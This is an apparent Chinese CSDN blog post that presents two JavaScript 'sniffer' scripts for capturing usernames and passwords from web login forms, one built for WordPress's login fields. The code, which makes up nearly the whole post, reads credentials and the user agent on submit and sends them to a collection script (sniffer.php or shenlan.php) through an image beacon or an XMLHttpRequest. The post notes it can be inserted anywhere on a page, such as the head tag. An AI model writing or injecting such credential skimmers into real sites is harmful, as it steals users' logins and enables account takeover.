Javascript-截获登录表单的用户名和密码-v1.5

version 1.0 需要代码添加到登陆表单的后面,才可以正常使用。

经完善后(这里有两种方法),可以添加在任何位置,比如<head> 标签里,而不必添加在登录表单的后面。


sniffer.js 方法一

/*
author: eT48
blog: http://blog.csdn.net/et48_sec
version: v1.5
*/
document.onreadystatechange = function()
{
var http_server = "http://localhost:8081/sniffer.php";
document.getElementById("wp-submit").οnclick=function(){sniffer()};
function sniffer()
{
var user = document.getElementById("user_login").value;
	var pwd = document.getElementById("user_pass").value;
	var ua = navigator.userAgent;
	
	var x = new Image();
	x.src = http_server+"?user="+user+"&pwd="+pwd+"&ua="+ua;
}
}


sniffer.js 方法二

/*
author: eT48
blog: http://blog.csdn.net/et48_sec
verson: 2.0
*/
var xmlhttp;
if (window.XMLHttpRequest)
  {// code for IE7+, Firefox, Chrome, Opera, Safari
  xmlhttp=new XMLHttpRequest();
  }
else
  {// code for IE6, IE5
  xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");
  }

document.οnclick=function post(e){

var targ;
if (!e) var e = window.event;
if (e.target) targ = e.target;
else if (e.srcElement) targ = e.srcElement;
if (targ.nodeType == 3) // defeat Safari bug
   targ = targ.parentNode;
var tname;
tname=targ.id;

if(tname=="Login")
{
    var user = document.getElementById("username").value;
    var pwd = document.getElementById("password").value;
    var ua = navigator.userAgent;

    var url = "shenlan.php?user="+user+"&pwd="+pwd+"&ua="+ua;

    xmlhttp.open("GET",url,true);
    xmlhttp.send();
}
}


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值